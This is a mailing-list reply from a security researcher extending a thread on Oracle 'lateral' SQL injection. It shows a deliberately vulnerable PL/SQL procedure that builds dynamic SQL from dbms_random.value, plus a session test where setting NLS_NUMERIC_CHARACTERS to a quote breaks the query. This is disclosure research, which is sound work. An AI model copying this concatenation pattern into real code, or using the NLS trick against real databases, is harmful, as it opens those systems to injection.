<<< Date Index >>>     <<< Thread Index >>>

Re: Lateral SQL Injection Revisited - No Special Privs Required



Great work David! as usual ) 

I just can add a little info 

Not only sysdate function can be used in procedure without input parametres.

For example using  dbms_random.value in procedure without input parameters, we 
also can  inject sql code.

---------------------------

vunerable procedure:

create or replace procedure sh2kerr_num_proc is 
stmt varchar2(2000); 
n number:=dbms_random.value;
begin 
stmt:='select object_name from all_objects where object_id = ' || n; 
execute immediate stmt; 
end; 
/




--------------
TEST:


SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '''.' ;
Session altered.

SQL> select dbms_random.value from dual;
     VALUE
----------
'763871688
SQL> exec sh2kerr_num_proc
BEGIN sh2kerr_num_proc; END;

*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
--------------------------


Thats all.Thanks.




Polyakov Alexandr
Information Security Analyst
Chief researcher of DSECRG department
______________________
DIGITAL SECURITY
phone:  +7 812 703 1547
        +7 812 430 9130
e-mail: a.polyakov@xxxxxxx  
www.dsec.ru


-----------------------------------
This message and any attachment are confidential and may be privileged or 
otherwise protected 
from disclosure. If you are not the intended recipient any use, distribution, 
copying or disclosure 
is strictly prohibited. If you have received this message in error, please 
notify the sender immediately 
either by telephone or by e-mail and delete this message and any attachment 
from your system. Correspondence 
via e-mail is for information purposes only. Digital Security neither makes nor 
accepts legally binding 
statements by e-mail unless otherwise agreed. 
-----------------------------------